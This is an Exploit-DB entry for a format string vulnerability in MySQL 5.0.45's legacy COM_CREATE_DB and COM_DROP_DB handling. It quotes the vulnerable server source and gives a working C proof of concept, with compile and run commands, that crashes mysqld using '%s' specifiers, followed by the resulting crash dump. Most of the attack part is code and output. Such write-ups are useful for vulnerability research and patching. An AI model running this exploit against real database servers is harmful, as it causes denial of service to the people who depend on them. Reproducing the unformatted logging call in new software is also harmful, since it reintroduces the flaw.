Exploit-DB #9085
Description: MySQL 5.0.45 - (Authenticated) COM_CREATE_DB Format String (PoC)
Type: dos
Platform: multiple
Date: 2009-07-09
Author: kingcope

Exploit:
MySQL (tested: Version 5.0.45 on CentOS (Linux)) Format String Vulnerability
MySQL General Available (GA) Release is vulnerable.
Latest MySQL Version is not vulnerable since the bug if ifdef'ed off.

from mysql-5.0.75 source (mysql-5.0.75.tar.gz) in the file libmysqld/sql_parse.cc
this source code is also included in mysql-4.0.0, mysql versions >= 4.0.0 are affected.

function prototype: write(THD *thd, enumenum_server_command command, const char* format, ...) 
function call: write(thd, command, packet);

on line 2084:
  case COM_CREATE_DB:				// QQ: To be removed
    {
      char *db=thd->strdup(packet), *alias;
      HA_CREATE_INFO create_info;

      statistic_increment(thd->status_var.com_stat[SQLCOM_CREATE_DB],
			  &LOCK_status);
      // null test to handle EOM
      if (!db || !(alias= thd->strdup(db)) || check_db_name(db))
      {
	my_error(ER_WRONG_DB_NAME, MYF(0), db ? db : "NULL");
	break;
      }
      if (check_access(thd,CREATE_ACL,db,0,1,0,is_schema_db(db)))
	break;
      [1] mysql_log.write(thd,command,packet);
      bzero(&create_info, sizeof(create_info));
      mysql_create_db(thd, (lower_case_table_names == 2 ? alias : db),
                      &create_info, 0);
      break;
    }

line 2105:
  case COM_DROP_DB:				// QQ: To be removed
    {
      statistic_increment(thd->status_var.com_stat[SQLCOM_DROP_DB],
			  &LOCK_status);
      char *db=thd->strdup(packet);
      /*  null test to handle EOM */
      if (!db || check_db_name(db))
      {
	my_error(ER_WRONG_DB_NAME, MYF(0), db ? db : "NULL");
	break;
      }
      if (check_access(thd,DROP_ACL,db,0,1,0,is_schema_db(db)))
	break;
      if (thd->locked_tables || thd->active_transaction())
      {
	my_message(ER_LOCK_OR_ACTIVE_TRANSACTION,
                   ER(ER_LOCK_OR_ACTIVE_TRANSACTION), MYF(0));
	break;
      }
      [2] mysql_log.write(thd,command,db); 
      mysql_rm_db(thd, db, 0, 0);
      break;
    }

at [1] and [2] there is a call to mysql_log.write() without 
format string specifiers leading to a format string bug.
authentication is required.

COM_CREATE_DB and COM_DROP_DB are "legacy" code. Recent clients
does not use this functions to create and drop databases.
Older clients do. Even Newest GA version of mysqld is able to handle
the requests though.
    
mysql logging has to be enabled. it seems acls are enforced, so
create db or drop db privs may be required, though untested.
--> my.cnf at [mysqld] log=/var/log/mysql.log for example

PROOF OF CONCEPT WHICH CRASHES MYSQLD FOLLOWS
MYSQLD RESTARTS IMMEDIATELY
CAUSE: SIGNAL SEGV
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---snip---
#include <stdlib.h>
#include <stdio.h>

#define USE_OLD_FUNCTIONS
#include <mysql/mysql.h>

#define NullS           (char *) 0

int
main (int argc, char **argv)
{
  MYSQL *mysql = NULL;

  mysql = mysql_init (mysql);

  if (!mysql)
    {
      puts ("Init faild, out of memory?");
      return EXIT_FAILURE;
    }

  if (!mysql_real_connect (mysql,       /* MYSQL structure to use */
                           "localhost", /* server hostname or IP address */
                           "monty",      /* mysql user */
                           "montypython",  /* password */
                           NULL,      /* default database to use, NULL for none */
                           0,   /* port number, 0 for default */
                           NULL,        /* socket file or named pipe name */
                           CLIENT_FOUND_ROWS /* connection flags */ ))
    {
      puts ("Connect failed\n");
    }
  else
    {
      puts ("Connect OK\n");
//      mysql_create_db(mysql, "%s%s%s%s%s");
        simple_command(mysql, COM_CREATE_DB, argv[1], strlen(argv[1]), 0);

    }

  mysql_close (mysql);

  return EXIT_SUCCESS;
}
---snip---

reproduce:
$gcc mysql_format.c -o mysql_format -lmysqlclient
$./mysql_format %s%s%s%s%s


Debugging output follows - Crashdump and strace output

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Version: '5.0.45-log'  socket: '/var/lib/mysql/mysql.sock'  port: 3306  Source distribution
090620  1:53:52 - mysqld got signal 11;
This could be because you hit a bug. It is also possible that this binary
or one of the libraries it was linked against is corrupt, improperly built,
or misconfigured. This error can also be caused by malfunctioning hardware.
We will try our best to scrape up some info that will hopefully help diagnose
the problem, but since we have already crashed, something is definitely wrong
and this may fail.

key_buffer_size=8388600
read_buffer_size=131072
max_used_connections=1
max_connections=100
threads_connected=1
It is possible that mysqld could use up to
key_buffer_size + (read_buffer_size + sort_buffer_size)*max_connections = 225791 K
bytes of memory
Hope that's ok; if not, decrease some variables in the equation.

thd=0x8aea8a8
Attempting backtrace. You can use the following information to find out
where mysqld died. If you see no messages after this, something went
terribly wrong...
Cannot determine thread, fp=0xb038d7ec, backtrace may not be correct.
Stack range sanity check OK, backtrace follows:
0x8187393
0xb7be8afb
0x8208dc4
0x81a55e2
0x81a58b7
0x81a6487
0xb7e2a33a
0xb7c4b5ce
New value of fp=(nil) failed sanity check, terminating stack trace!
Please read http://dev.mysql.com/doc/mysql/en/using-stack-trace.html and follow instructions on how to resolve the stack trace. Resolved
stack trace is much more helpful in diagnosing the problem, so please do
resolve it
Trying to get some variables.
Some pointers may be invalid and cause the dump to abort...
thd->query at (nil)  is invalid pointer
thd->thread_id=1
The manual page at http://www.mysql.com/doc/en/Crashing.html contains
information that should help you find out what is causing the crash.

Number of processes running n